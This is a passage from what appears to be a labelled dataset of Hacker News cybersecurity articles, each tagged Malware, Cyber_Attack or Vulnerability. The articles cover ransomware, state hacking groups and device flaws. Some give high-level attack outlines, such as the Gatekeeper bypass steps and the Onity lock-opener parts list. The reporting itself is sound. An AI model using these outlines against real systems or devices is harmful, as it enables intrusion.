On November 27 (Black Friday), researchers at InfoArmor noticed a significant increase in the price of the Pro PoS Solution, which was offered at $2,600 for a six-month licence.

The developers of Pro PoS have designed their malware in such a way that it infects the principal operating systems, including newer operating systems, used by the companies in the retail environment.

",Malware
Over 70% of Washington DC's CCTV Were Hacked Before Trump Inauguration,https://thehackernews.com/2017/01/ransomware-cctv-hack.html,"Just days before the inauguration of President Donald Trump, cyber criminals infected 70 percent of storage devices that record data from feds surveillance cameras in Washington D.C. in a cyber attack.

Any guess, What kind of virus could have hit the storage devices?

Once again, the culprit is Ransomware, which has become a noxious game of Hackers to get paid effortlessly.

Ransomware is an infamous piece of malware that has been known for locking up computer files and then demanding a ransom in Bitcoins in order to help victims unlock their files.

But over time, the threat has changed its way from computers and smartphones to Internet-of-Thing (IoT) devices.

Ransomware Infected 70% Surveillance Cameras in Washington D.C.

This time the hackers managed to plant ransomware in 123 of its 187 network video recorders, each controlling up to four CCTVs used in public spaces throughout Washington D.C, which eventually left them out from recording anything between 12 and 15 January.

Officials told the Washington Post that the incident forced them to take the storage devices offline, remove the infection and rebooted the systems across the city, but did not fulfill any ransom demands by the hackers.

While the storage devices were successfully put back to rights and the CCTV cameras were back to work, it is still unclear if any valuable data was lost or if the ransomware infection merely crippled the affected computer network devices.

Washington's chief technology officer Archana Vemulapalli said the officials are now investigating the source of hacking, assuring that the incident was limited to the storage devices tied to closed-circuit TV system and did not affect other D.C. government networks.

Rise in Ransomware: Both in Numbers and Sophistication

Ransomware is the hackers sure-shot way to get paid effortlessly. The threat has been around for a few years, but nowadays it has become one of the most used types of hacking methods.

Recently, hundreds of guests of a luxurious hotel in Austria were locked out of their rooms when ransomware malware hit the hotel's IT system, and the hotel paid the attackers to get back the control of their systems.

We saw an enormous rise in Ransomware threats, both in numbers and sophistication. You would be surprised to know about KillDisk data wiping ransomware that encrypts files and asks for an unusually large ransom of around $218,000 in Bitcoins, but did not provide decryption keeps even after the payment has made.

Another weird ransomware variant was Popcorn Time that was designed to give victims options to either pay a ransom to hackers or infect two more people and have them pay the ransom to get a free decryption key.

Prevention is the Best Practice

The only safe way of dealing with ransomware is prevention. The best defense against Ransomware malware is to create awareness within the organizations, as well as to maintain back-ups that are rotated regularly.

Most viruses and infections are introduced by opening infected attachments or clicking on malicious links usually served in spam emails. So, don't click on links provided in emails and attachments from unknown sources.

Besides this, always ensure that your systems and devices are running the latest version of Antivirus software with updated malware definitions.

",Malware
Hackers Created Thousands of Coronavirus (COVID-19) Related Sites As Bait,https://thehackernews.com/2020/03/covid-19-coronavirus-hacker-malware.html,"As the world comes to grips with the coronavirus pandemic, the situation has proven to be a blessing in disguise for threat actors, who've taken advantage of the opportunity to target victims with scams or malware campaigns.

Now, according to a new report published by Check Point Research today and shared with The Hacker News, hackers are exploiting the COVID-19 outbreak to spread their own infections, including registering malicious Coronavirus-related domains and selling discounted off-the-shelf malware in the dark web.

""Special offers by different hackers promoting their 'goods' — usually malicious malware or exploit tools — are being sold over the darknet under special offers with 'COVID19' or 'coronavirus' as discount codes, targeting wannabe cyber-attackers,"" the cybersecurity firm said.

COVID-19 Discounts: Exploit Tools for Sale

The report comes following an uptick in the number of malicious coronavirus-related domains that have been registered since the start of January.


""In the past three weeks alone (since the end of February 2020), we have noticed a huge increase in the number of domains registered — the average number of new domains is almost 10 times more than the average number found in previous weeks,"" the researchers said. ""0.8 percent of these domains were found to be malicious (93 websites), and another 19 percent were found to be suspicious (more than 2,200 websites).""

Some of the tools available for purchase at a discounted price include ""WinDefender bypass"" and ""Build to bypass email and chrome security.""


Another hacking group, which goes by the moniker ""SSHacker,"" is offering the service of hacking into Facebook account for a 15 percent discount with ""COVID-19"" promo code.

What's more, a seller that goes by the name of ""True Mac"" is selling a 2019 MacBook Air model for a mere $390 as a ""corona special offer."" It goes without saying the offer is a scam.

A Long List of Coronavirus-Themed Attacks

The latest development adds to a long list of cyberattacks against hospitals and testing centers, phishing campaigns that distribute malware such as AZORuIt, Emotet, Nanocore RAT and TrickBot via malicious links and attachments, and execute malware and ransomware attacks that aim to profit off the global health concern.


APT36, a Pakistani state-sponsored threat actor that targets the defense, embassies, and the government of India, was found running a spear-phishing campaign using Coronavirus-themed document baits that masqueraded as health advisories to deploy the Crimson Remote Administration Tool (RAT) onto target systems.
Researchers from security firm IssueMakersLab uncovered a malware campaign launched by North Korean hackers that used boobytrapped documents detailing South Korea's response to the COVID-19 epidemic as a lure to drop BabyShark malware. Recorded Future observed, ""at least three cases where reference to COVID-19 has been leveraged by possible nation-state actors.""
A COVID-19-themed malspam campaign targeted the manufacturing, industrial, finance, transportation, pharmaceutical, and cosmetic industries via Microsoft Word documents that exploits a two-and-a-half-year-old Microsoft Office bug in Equation Editor to install AZORult malware. The AZORult info stealer has also been distributed using a fraudulent version of the Johns Hopkins Coronavirus Map in the form of a malicious executable.
A fake real-time coronavirus tracking Android app, called ""COVID19 Tracker,"" was found to abuse user permissions to change the phone's lock screen password and install CovidLock ransomware in return for a $100 bitcoin ransom.
Another phishing attack, uncovered by Abnormal Security, targeted students and university staff with bogus emails in a bid to steal their Office 365 credentials by redirecting unsuspecting victims to a fake Office 365 login page.
Comment spamming attacks on websites that contained links to a seemingly innocuous coronavirus information website but redirected users to dubious drug-selling businesses.
Aside from malware-laden spam emails, F-Secure researchers have observed a new spam campaign that aims to capitalize on the widespread mask shortage to trick recipients into paying for masks, only to send them nothing.


Staying Secure in the Time of COVID-19

It's amply clear that these attacks exploit coronavirus fears and people's hunger for information about the outbreak. Given the impact on the security of businesses and individuals alike, it's essential to avoid falling victim to online scams and practice good digital hygiene:


Businesses should ensure that secure remote access technologies are in place and configured correctly, including the use of multi-factor authentication, so that employees can conduct business just as securely from home.
Individuals should keep away from using unauthorized personal devices for work, and ensure ""personal devices will need to have the same level of security as a company-owned device, and you will also need to consider the privacy implications of employee-owned devices connecting to a business network.""
Watch out for emails and files received from unknown senders. Most importantly, check a sender's email address for authenticity, don't open unknown attachments or click on suspicious links, and avoid emails that ask them to share sensitive data such as account passwords or bank information.
Use trusted sources, such as legitimate government websites — for up-to-date, fact-based information about COVID-19.

",Cyber_Attack
Samsung smart TV vulnerability allow attacker to read storage remotely,https://thehackernews.com/2012/12/samsung-smart-tv-vulnerability-allow.html,"ReVuln Ltd. , a small security company headed by Donato Ferrante and Luigi Auriemma, post a video that demonstrates that how attacks can gain root on the appliances.


Samsung Smart TV contain a vulnerability which allows remote attackers to swipe data from attached storage devices.

In this demonstration readers will see how it is possible to use a 0-day vulnerability to retrieve sensitive information, root access, and ultimately monitor and fully control the device remotely.

Auriemma said, ""We have tested different Samsung televisions of the latest generations running the latest version of their firmware. Unfortunately we can't disclose additional information but we can only say that almost all the people having a Samsung TV at home or in their offices are affected by this vulnerability."".


",Vulnerability
"Apple's Mac OS X Still Open to Malware, Thanks Gatekeeper",https://thehackernews.com/2016/01/mac-os-x-gatekeeper-hack.html,"Apple Mac Computers are considered to be much safer than Windows computers at keeping out the viruses and malware, but the new Exploit discovered by researchers again proves it indeed quite false.

Last year, The Hacker News reported a deadly simple exploit that completely bypassed one of the core security features in Mac OS X known as Gatekeeper.

Apple released a patch in November, but now the same security researcher who discovered the original Gatekeeper bypass vulnerability said he found an equally obvious workaround.

Patrick Wardle, ex-NSA staffer and head of research at security intelligence firm Synack, said the security patch released by Apple was ""incredibly weak"" and that the update was ""easy to bypass"" in minutes.

Gatekeeper's Failure Once Again

Introduced in July of 2012, Gatekeeper is Apple's anti-malware feature designed to block untrusted, dodgy apps from running, keeping Mac OS X systems safe from malware.

However, the reality is slightly different, according to Wardle. Hackers can install malicious software on Mac computers, even when Gatekeeper is set to its most restrictive setting.
""Even on a fully-patched OS X 10.11.2 system, Gatekeeper is trivial to bypass,"" Wardle wrote in a blog post. ""So hackers can (re)start their trojan distributions while nation states can get back to MitM'ing HTTP downloads from the internet.""

In September, Wardle realized that before allowing any apps to execute on an OS X machine, Gatekeeper performs a number of checks, such as:
Checking the initial digital certificate of a downloaded app
Ensuring the app has been signed with an Apple-recognized developer certificate
Ensuring the app has been originated from the official App Store
But, what Gatekeeper fails to check is – whether the app already trusted by OS X runs or loads other files from the same folder.

However, in the name of a security patch, all Apple did was simply blacklist the signed apps Wardle was abusing to bypass Gatekeeper, rather than fixing the underlying problem.

How to Bypass Gatekeeper in OS X?

This was not effective in preventing attacks. Wardle found a new Apple-signed file that allow him to do the same. Notably, the file was offered by the popular anti-virus firm Kaspersky Labs.

All Wardle has done is:

Identified an already-signed binary file (Binary A) that runs a separate app (Binary B) located in the same folder
Renamed Binary A
Swapped out the legitimate Binary B with a malicious one
Then bundled malicious file in the same folder under the same file name, Binary B
Now, Binary B needs no digital certificate or Apple developer certificate to run, so it can be used to install anything the attacker wants, completely bypassing Gatekeeper.

Wardle notified Apple about his latest finding, and the company rolled out an update blocking the new files Wardle privately reported it, which is not a right approach. Apple should come up with a more comprehensive fix to address the issue.

How to Protect Yourself?

In the meantime, Wardle suggested Mac users to only download software from the Mac App Store and be more careful while downloading apps from the internet.

Wardle will be presenting his findings at the Shmoocon conference in Washington D.C this weekend. He also released a complementary tool for Gatekeeper on Friday, a free tool dubbed Ostiarius, that checks all file executions and blocks untrusted, unsigned code originating from the Web.

Alternatively, otherwise, it might be time to fire Gatekeeper, and hire a new one.

",Malware
Cyber Criminals Use Malaysia Airlines Flight MH17 Plane Crash News to Bait Users,https://thehackernews.com/2014/07/cyber-criminals-use-malaysia-airlines.html,"Any occasion that captures public attention – regardless of how sensitive – comes out to be an opportunity for spammers and hackers to snatch users' personal information and spread malware, and the tragedy of the crashed Malaysia Airlines flight MH17 is no exception.

According to the U.S. intelligence officials, Malaysia Airline Flight MH17, a Boeing 777 aircraft carrying 283 passengers and 15 crew members, was struck by a ground-to-air missile. So far, it's unclear, whether the missile was launched by the Russian military or pro-Russian separatist rebels. Ukraine and the insurgents blamed each other.

Spammers and cybercriminals are quick to take advantage of the tragedy and started spreading malware through the social media websites, abusing the mystery behind the crash of Malaysia Airline Flight MH17.

Researchers at the anti-virus firm Trend Micro came across some suspicious tweets written in Indonesian language. The cybercriminals are using the trending #MH17 to lure innocent users who are actually looking for news related to Malaysian Airplane Flight MH17 crash down.

The suspicious tweets started spreading just after Malaysian Airline tweeted on July 17: ""Malaysia Airlines has lost contact of MH17 from Amsterdam. The last known position was over Ukrainian airspace.""

Hundreds of users have already retweeted those malicious tweets that indirectly encourage their individual followers to visit the malicious links.

The website belongs to a shared hosting located in U.S which also host number of legitimate domains and researchers concluded that the purpose behind the spam campaign could be to gain attention of the visitors in order to make money from the advertisement.

Moreover, the shared hosting also provide hostage to a number of malicious domains as well, that are connected to a ZeuS variant and SALITY malware. ZeuS are very well known to steal financial information of the users, while SALITY is a ""malware family of file infectors that infect .SCR and .EXE files,"" researchers said in a blog post.

""Once systems are infected with this file infector, it can open their systems to other malware infections thus compromising their security.""

This is not first time cyber criminals targeted Malaysian airlines. Also few months back, spammers targeted missing Malaysian plan and spread malware on the social networking sites including Facebook, abusing the mystery behind the Malaysia Airline Flight MH370, a Boeing 777-200 aircraft that had gone missing by the time it flew from Kuala Lumpur to Beijing.

",Malware
Chinese Spying Chips Found Hidden On Servers Used By US Companies,https://thehackernews.com/2018/10/china-spying-server-chips.html,"A media report today revealed details of a significant supply chain attack which appears to be one of the largest corporate espionage and hardware hacking programs from a nation-state.

According to a lengthy report published today by Bloomberg, a tiny surveillance chip, not much bigger than a grain of rice, has been found hidden in the servers used by nearly 30 American companies, including Apple and Amazon.

The malicious chips, which were not part of the original server motherboards designed by the U.S-based company Super Micro, had been inserted during the manufacturing process in China.

The report, based on a 3-year-long top-secret investigation in the United States, claims that the Chinese government-affiliated groups managed to infiltrate the supply chain to install tiny surveillance chips to motherboards which ended up in servers deployed by U.S. military, U.S. intelligence agencies, and many U.S. companies like Apple and Amazon.

""Apple made its discovery of suspicious chips inside Supermicro servers around May 2015, after detecting odd network activity and firmware problems, according to a person familiar with the timeline,"" the report said.

""Since the implants were small, the amount of code they contained was small as well. But they were capable of doing two very important things: telling the device to communicate with one of several anonymous computers elsewhere on the internet that were loaded with more complex code; and preparing the device's operating system to accept this new code.""

The chips suspected to have been added to help Chinese government spy on American companies and their users—basically a ""hardware hack"" that according to the publication is ""more difficult to pull off and potentially more devastating, promising the kind of long-term, stealth access that spy agencies are willing to invest millions of dollars and many years to get.""

""Depending on the board model, the chips varied slightly in size, suggesting that the attackers had supplied different factories with different batches,"" the report said.

The publication claims that Apple and Amazon found these chips on their server motherboards in 2015 and reported it to US authorities, though both Apple and Amazon strongly refute the claims.

Apple, Amazon, and Super Micro Refute the Bloomberg Report

Apple told Bloomberg that the company has never found malicious chips, ""hardware manipulations,"" or vulnerabilities purposely planted in any of its servers, or it ""had any contact with the FBI or any other agency about such an incident.""

Apple ended its relationship with Super Micro in 2016. To its best guess, Apple said that the Bloomberg reporters confused their story with a previously-reported 2016 incident in which the company found an infected driver on a single Super Micro server in one of its labs.

""While there has been no claim that customer data was involved, we take these allegations seriously, and we want users to know that we do everything possible to safeguard the personal information they entrust to us,"" Apple says. ""We also want them to know that what Bloomberg is reporting about Apple is inaccurate.""

Amazon also says it is ""untrue"" that the company knew of ""a supply chain compromise,"" or ""servers containing malicious chips or modifications in data centers based in China,"" or that it ""worked with the FBI to investigate or provide data about malicious hardware.""

Meanwhile, Supermicro and Chinese Ministry of Foreign Affairs have also strongly denied Bloomberg's findings by releasing lengthy statements. Here you can find a full list of official statements from Amazon, Apple, Supermicro and Chinese Ministry of Foreign Affairs.
",Cyber_Attack
"Google Discloses Windows Vulnerability That Microsoft Fails To Patch, Again!",https://thehackernews.com/2017/02/google-windows-vulnerability.html,"Microsoft is once again facing embarrassment for not patching a vulnerability on time.

Yes, Google's Project Zero team has once again publicly disclosed a vulnerability (with POC exploit) affecting Microsoft's Windows operating systems ranging from Windows Vista Service Pack 2 to the latest Windows 10 that had yet to be patched.

A few months back, the search engine giant disclosed a critical Windows vulnerability to the public just ten days after revealing the flaw to Microsoft.

However, this time Google revealed the vulnerability in Windows to the public after Microsoft failed to patch it within the 90-day window given by the company.

Google's Project Zero member Mateusz Jurczyk responsibly reported a vulnerability in Windows' Graphics Device Interface (GDI) library to Microsoft Security Team on the 9th of June last year.

The vulnerability affects any program that uses this library, and if exploited, could potentially allow hackers to steal information from memory.

While Microsoft released a patch for the vulnerability on 15th June, the company did not fix all the issues in the GDI library, forcing the Project Zero researcher to once again report it to Microsoft with a proof-of-concept on 16th of November.
""As a result, it is possible to disclose uninitialized or out-of-bounds heap bytes via pixel colors, in Internet Explorer and other GDI clients which allow the extraction of displayed image data back to the attacker,"" Jurczyk notes in the new report.
Now, after giving the three-month grace period to the company, Google released the details of the vulnerability to the public, including hackers and malicious actors.

Google Project Zero team routinely finds security holes in different software and calls on the affected software vendors to publicly disclose and patch bugs within 90 days of discovering them. If not, the company automatically makes the flaw along with its details public.

Although Windows users need not panic, as hackers will require physical access to the host machine to exploit the vulnerability, the Redmond giant will have to release an emergency patch before sophisticated exploits are developed.

Microsoft recently delayed its this month's Patch Tuesday by a month due to ""a last-minute issue that could impact some customers and was not resolved in time for [Microsoft's] planned updates"" on 14th February.

So, if there is no expected emergency patch this month, this newly disclosed vulnerability will be left open for hackers for almost a month to exploit — just like we saw last time when Russian hackers actively exploited then-unpatched Windows kernel bug in the wild — which could put Windows users at potential risk.

",Vulnerability
Bicololo malware spreading via 404 Error targeting Russians,https://thehackernews.com/2013/02/bicololo-malware-spreading-via-404.html,"A Trojan that attacks Russian Internet users using a new trick to spread itself. Known as ""Bicololo"" was first discovered in October 2012 and specially designed to steal login credentials from users.

For this, the malware modify the system Hosts file (i.e etc/hosts) to host perfect phishing sites via DNS poisoning to collect social networking and email credentials.


In a recent post from Avast antivirus, Bicololo continued to evolve and spread even further. Because it is difficult for a user to determine that he is redirected to a phishing site the attack going smoothly.

In Oct, They found that all these phishing sites were resolving via servers located at 69.197.136.99, 94.249.188.224 and 178.63.214.97, 94.249.189.21 , which originally were hosted on afraid.org servers.

But now this malware spreading via standard 404 Error webpage error of hacked sites. The most frequent phishing clones of vk.com, odnoklassniki.ru and mail.ru like popular sites noticed in wind.

Once the victim with infected system types they will find fake log-in forms in browser and because none of the targeted services uses secure connections via HTTPS by default there is no simple way for user to know about the posing danger and he willingly give his password to hackers.

""The most common ""stable"" version comes in a self-extracting Cabinet container. Once executed, it drops four files into some strangely named Program Files subfolder, and runs them. The first dropped file is obfuscated and randomized BAT which does the actual etc/hosts injection. The other two files are Visual Basic scripts. One of them loads a text file with URL of an infection counter and sends there a message of successful infection."" Martin at Avast said.

So for spreading this, it is enough for the attackers to an existing link on the hacked site on a forum or website. Once a user clicks the link does not exist, he would normally get the 404 error and Malware will welcome you with warm codes.

Use Good Antivirus, Like AVAST and AVG. Stay tuned with us on Facebook and Twitter.

",Malware
APT33: Researchers Expose Iranian Hacking Group Linked to Destructive Malware,https://thehackernews.com/2017/09/apt33-iranian-hackers.html,"Security researchers have recently uncovered a cyber espionage group targeting aerospace, defence and energy organisations in the United States, Saudi Arabia and South Korea.

According to the latest research published Wednesday by US security firm FireEye, an Iranian hacking group that it calls Advanced Persistent Threat 33 (or APT33) has been targeting critical infrastructure, energy and military sectors since at least 2013 as part of a massive cyber-espionage operation to gather intelligence and steal trade secrets.

The security firm also says it has evidence that APT33 works on behalf of Iran's government.

FireEye researchers have spotted cyber attacks aimed by APT33 since at least May 2016 and found that the group has successfully targeted aviation sector—both military and commercial—as well as organisations in the energy sector with a link to petrochemical.

The APT33 victims include a U.S. firm in the aerospace sector, a Saudi Arabian business conglomerate with aviation holdings, and a South Korean company involved in oil refining and petrochemicals.

Most recently, in May 2017, APT33 targeted employees of a Saudi organisation and a South Korean business conglomerate using a malicious file that attempted to entice them with job vacancies for a Saudi Arabian petrochemical company.

""We believe the targeting of the Saudi organisation may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea's recent partnerships with Iran's petrochemical industry as well as South Korea's relationships with Saudi petrochemical companies,"" the FireEye report reads.

APT33 targets organisations by sending spear phishing emails with malicious HTML links to infect targets' computers with malware. The malware used by the espionage group includes DROPSHOT (dropper), SHAPESHIFT (wiper) and TURNEDUP (custom backdoor, which is the final payload).

However, in previous research published by Kaspersky, DROPSHOT was tracked by its researchers as StoneDrill, which targeted petroleum company in Europe and believed to be an updated version of Shamoon 2 malware.

""Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT,"" the report reads.

The SHAPESHIFT malware can wipe disks, erase volumes and delete files, depending on its configuration.

According to FireEye, APT 33 sent hundreds of spear phishing emails last year from several domains, which masqueraded as Saudi aviation companies and international organisations, including Boeing, Alsalam Aircraft Company and Northrop Grumman Aviation Arabia.

The security firm also believes APT 33 is linked to Nasr Institute, an Iranian government organisation that conducts cyber warfare operations.

In July, researchers at Trend Micro and Israeli firm ClearSky uncovered another Iranian espionage group, dubbed Rocket Kittens, that was also active since 2013 and targeted organisations and individuals, including diplomats and researchers, in Israel, Saudi Arabia, Turkey, the United States, Jordan and Germany.

However, FireEye report does not show any links between both the hacking group. For more technical details about the APT33 operations, you can head on to FireEye's official blog post.

",Malware
Facebook releases 'Conceal' API for Android developers to Encrypt data on Disk,https://thehackernews.com/2014/02/facebook-releases-conceal-api-for.html,"Many Smartphone applications support, installation or app data storage to an external SD Card, that can be helpful in saving space on the internal memory, but also vulnerable to hackers.

Typically, an app that has permission to read and write data from an SD card has the permission to read all data on that card, including information written by other apps. This means that if you install a malicious application by mistake, it can easily steal any sensitive data from your Phone's SD Card.

To prevent the data from being misused by any other app, the best implementation is to encrypt the data, but that will drop the performance of the device.

On its 10th birthday, as a treat for mobile developers, Facebook has unveiled the source code of its Android security tool called 'Conceal' cryptographic API Java library, that will allow app developers to encrypt data on disk in the most resource efficient way, with an easy-to-use programming interface.

Smaller than other cryptography standards and built for speed, the Conceal might end up the best solution. ""We saw an opportunity to do things better and decided to encrypt the private data that we stored on the SD card so that it would not be accessible to other apps"" Facebook Software Engineer said in a blog post.
The tool is based on algorithms from OpenSSL, a common open source encryption system for the web:
""Conceal doesn't implement any crypto. Instead, it uses specific cryptographic algorithms from OpenSSL. OpenSSL's crypto library is about 1MB when built for armv7. By using only the parts of OpenSSL we needed, we were able to reduce the size of OpenSSL to 85KB. We believe providing a smaller library will reduce the friction of adopting state of the art encryption algorithms, make it easier to handle different Android platform versions, and enable us to quickly incorporate fixes for any security vulnerabilities in OpenSSL as well.""
Conceal is smaller and faster than existing Java crypto libraries, uses AES-GCM, an authenticated encryption algorithm that helps to detect any potential tampering with data. ""We instead use AES-GCM which is an authenticated encryption algorithm that not only encrypts the data, but also computes a MAC of the data at the same time."" he said.

The library also provides resources for storing and managing keys to protect against known weaknesses in the Android's random number generator. Conceal officially supports Android 2.3 and higher (Gingerbread). It will run on 2.2 (Froyo) phones as well.

The company is already using the tool with the primary Facebook app that runs on Android. Developers can access the Conceal API from GITHUB.

",Malware
Four million hotel locks vulnerable to 'Dry erase marker',https://thehackernews.com/2012/10/four-million-hotel-locks-vulnerable-to.html,"At Black Hat security conference this year Cody Brocious demonstrated that How a simple Dry erase marker allows him to open an Onity hotel room door lock with an Arduino, which is totally James Bond. This is just kind of scary on multiple levels, the least being that dry erase markers are one of the most ordinary, non-suspicious objects we can think of.

Watch the video below and be afraid – be very afraid. It has been refined to such a state where there are no dangling bits that come out of the marker, with a tip that looks totally normal sans any wires.

All you need to do is touch the tip of the market to the door port, and you would have gained entry without mentioning a secret password. The story didn't stop there with Onity, the electronic door specialist in question, stepping in to introduce several measures to secure the doors.
Brocious created a proof-of-concept device to show to security experts and press, but it was a bit crude. In order to build and test all of this yourself you will need the following:
1 Arduino (Almost any kind works, Cody used a Arduino Mega 128)
1 DC barrel jack, 5mm outer diameter, 2.1mm inner diameter
1 5.6k resistor
1 Onity Door lock
With the parts listed above I was able to build the Arduino circuit and load up the Arduino sketch that Cody provided at his Website. The company responsible for the popular locks, Onity, has promised that it is going to find a fix to this exploit.

In video Hacker demonstrating the $50 security cracking kit and how to make it.


",Vulnerability
Satellite Communication (SATCOM) Devices Vulnerable to Hackers,https://thehackernews.com/2014/04/satellite-communication-satcom-devices.html,"The growing threat of cyber-attacks and network hacking has reached the satellite-space sector, posing a growing challenge to the satellite operators. Because the satellite system are the critical components for the Nation to a modern military, they have become an attractive target of cyber attacks.

A security firm uncovered a number of critical vulnerabilities, including hardcoded credentials, undocumented and insecure protocols, and backdoors in the widely used satellite communications (SATCOM) terminals, which are often used by the military, government and industrial sectors.

By exploiting these vulnerabilities an attacker could intercept, manipulate, block communications, and in some circumstances, could remotely take control of the physical devices used in the mission-critical satellite communication (SATCOM).

Once the attacker gained the access of the physical devices used to communicate with satellites orbiting in space, he can completely disrupt military operations and flight-safety communications of mission-critical satellite communications (SATCOM), researchers have warned in a 25-page white paper titled ""A Wake-up Call for SATCOM Security,"" published Thursday by the Security consultancy IOActive.

Thousands of SATCOM devices found to be vulnerable and even if one of the affected devices compromised, the entire SATCOM infrastructure could be at risk, including Ships, aircraft, military personnel, emergency services, media services, and industrial facilities (oil rigs, gas pipelines, water treatment plants, wind turbines, substations, etc.).

IOActive reported various vulnerabilities in Tactical Radios & Networking Terminals, including:
Harris BGAN Terminals
Hughes BGAN M2M Terminals
Cobham BGAN Terminals
Marine VSAT and FB Terminals
Cobham AVIATOR
Cobham GMDSS Terminals
According to the Guardian, British manufacturers Cobham and Inmarsat, as well as Harris Corporation, Hughes and Iridium in the US made such satellite systems that were easily hackable, and any foreign government or agency can track and target the location of units and soldiers.

According to the researchers, Harris RF-7800B terminals that offers a high-performance satellite solution for voice and data connectivity to military is also vulnerable to cyber attacks and successful exploitation could allow an attacker to install malicious firmware or execute arbitrary code.

Reported vulnerabilities also affect the US military aircraft equipped with the Cobham AVIATO, which is designed to meet the satellite communications needs of aircraft and a malicious attacker could disrupt flight communication.

IOActive is currently working with government CERT Coordination Center to alert each manufacturer to the security holes they discovered. ""Until patches are available, vendors should provide official workarounds in addition to recommended configurations in order to minimize the risk these vulnerabilities pose."" IOActive advised.

",Vulnerability
Hacking Fitbit Health Trackers Wirelessly in 10 Seconds,https://thehackernews.com/2015/10/hack-fitbit.html,"Do you need a FitBit Tracker while jogging or running or even sleeping?

Bad News! FitBit can be hacked that could allow hackers to infect any PC connected to it.

What's more surprising?

Hacking FitBit doesn't take more than just 10 Seconds.

Axelle Aprville, a researcher at the security company Fortinet, demonstrated ""How to hack a Fitbit in only 10 seconds,"" at the Hack.Lu conference in Luxembourg.

Aprville's test was a proof of concept (POC) that did not actually focus on executing malicious payload, rather a logical attack.

By using only Bluetooth, Aprville was able to modify data on steps and distance. However, she said it is possible to infect the device in an attempt to spread malware to synced devices.

Fitbit Flex tracker is a flexible wristband that measures health statistics, such as blood pressure and heart rate.

The Flex is a product of Fitbit, and its salient features are:
It can wake you up with a silent vibration alarm.
The device is water-repellent.
The sensor can be removed (and used with other Flex wristbands).
It is synchronized via USB and can be used via the Fitbit app.
It does wireless syncing via Bluetooth.
It has an OLED display.

THE HACK

The hack, which was reported to Fitbit in March, makes use of the open Bluetooth connection of a Fitbit wearable.

According to the researcher, an attacker can send malware to the wearable fitness tracker nearby at a Bluetooth distance, which would then be transferred to any PC the Fitbit came into contact with.

Once infected, whenever the victim wishes to sync his or her fitness data with FitBit servers, the wearable tracker responds to the query, ""but in addition to the standard message, the response is tainted with the infected code,"" Aprville told the Reg.
""From there, [the fitness tracker] can deliver a specific malicious payload on the [PC], that is, start a backdoor, or have the [system] crash [and] can propagate the infection to other trackers,"" Aprville added.

Video Demonstration

You can watch the video demonstration of the Fitbit Hack by Axelle Apvrille, which shows the attack in work.

How Does the Hack Work?

Here's How the researcher performed the ""10 seconds"" hack:
Reverse engineer the Fitbit protocols and manipulate the number of tracked steps and distance covered by the user.
After this, send a malicious payload (size: 17 bytes) over the Bluetooth signal to the wireless tracker.
Now, transmit this payload to a computer.
The things worth noticing are:
Tearing down Fitbit Flex and its USB dongle the researcher demonstrated how hackers could exploit the vulnerability to create fake exercise data and add as many rewards as they wanted.
Aprville was able to connect to the wireless band and infect it too.
Any laptop or PC that connects with the infected wearable device can potentially be infected with a trojan, backdoor, or whatever the attacker wants.
The device could work as a hardware Random Number Generator (RNG).
Could spy on users.
Aprville also mentions that the device's communication is over XML and Bluetooth Low Energy while encryption and decryption occur on the wearable device, and not on the dongle that is ""outside of the security boundaries.""

FitBit – Flaws Reported in Fitbit are 'FALSE'

Learning about the vulnerability in the Fitbit Flex trackers the company responded by saying, ""We believe that security issues reported today are false, and that Fitbit devices can't be used to infect users with malware.""

A spokesperson from Fitbit said Fortinet first contacted Fitbit in March to report a low-severity issue unrelated to malicious software.

And...
""Since that time we've maintained an open channel of communication with Fortinet. We haven't seen any data to indicate that it is possible to use a tracker to distribute malware.""
According to the company, Fitbit has a history of working closely with the research communities and it always welcomes thoughts and feedback from security researchers.

",Vulnerability
"Multiplatform Java Jacksbot Malware infecting Windows, Linux and Mac",https://thehackernews.com/2012/10/multiplatform-java-jacksbot-malware.html,"Intego discovered a Multiplatform Java Malware called ""Jacksbot"" , which is infecting Windows, Linux and Mac systems.

The Jacksbot is described as a 'backdoor Trojan Java ""on infected computers and collects system information, make screenshots, delete files, steal passwords and perform click fraud and DDoS attacks.

Researchers said,Although it can run on any platform that supports JRE, It appears likely that this trojan is intended to be dropped by another component that has not yet been identified. ""There is a possibility that this malware presents itself as a Minecraft modification to unsuspecting users as it contains the special command 'MC for stealing Minecraft passwords from the compromised system,"" Johanne Demetria explain in post.

""However, the malware's focus is mainly on Windows. The malware writers behind JACKSBOT may just be testing the waters for a successful multiplatform malware; however for now they appear to be unwilling to invest the time and resources to develop the code more completely."" TrendMicro said.

",Malware
Hackers Exploit Unpatched VPNs to Install Ransomware on Industrial Targets,https://thehackernews.com/2021/04/hackers-exploit-unpatched-vpns-to.html,"Unpatched Fortinet VPN devices are being targeted in a series of attacks against industrial enterprises in Europe to deploy a new strain of ransomware called ""Cring"" inside corporate networks.
At least one of the hacking incidents led to the temporary shutdown of a production site, said cybersecurity firm Kaspersky in a report published on Wednesday, without publicly naming the victim.
The attacks happened in the first quarter of 2021, between January and March.
""Various details of the attack indicate that the attackers had carefully analyzed the infrastructure of the targeted organization and prepared their own infrastructure and toolset based on the information collected at the reconnaissance stage,"" said Vyacheslav Kopeytsev, a security researcher at Kaspersky ICS CERT.
The disclosure comes days after the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) warned of advanced persistent threat (APT) actors actively scanning for Fortinet SSL VPN appliances vulnerable to CVE-2018-13379, among others.
""APT actors may use these vulnerabilities or other common exploitation techniques to gain initial access to multiple government, commercial, and technology services. Gaining initial access pre-positions the APT actors to conduct future attacks,"" the agency said.
CVE-2018-13379 concerns a path traversal vulnerability in the FortiOS SSL VPN web portal, which allows unauthenticated attackers to read arbitrary system files, including the session file, which contains usernames and passwords stored in plaintext.
Although patches for the vulnerability were released in May 2019, Fortinet said last November that it identified a ""large number"" of VPN appliances that remained unpatched, while also cautioning that IP addresses of those internet-facing vulnerable devices were being sold on the dark web.
In a statement shared with The Hacker News, Fortinet said it had urged customers to upgrade their appliances ""on multiple occasions in August 2019, July 2020, and again in April 2021"" following the May 2019 fix. ""If customers have not done so, we urge them to immediately implement the upgrade and mitigations,"" the company said.
The attacks aimed at European businesses were no different, according to Kaspersky's incident response, which found that the deployment of Cring ransomware involved the exploitation of CVE-2018-13379 to gain access to the target networks.
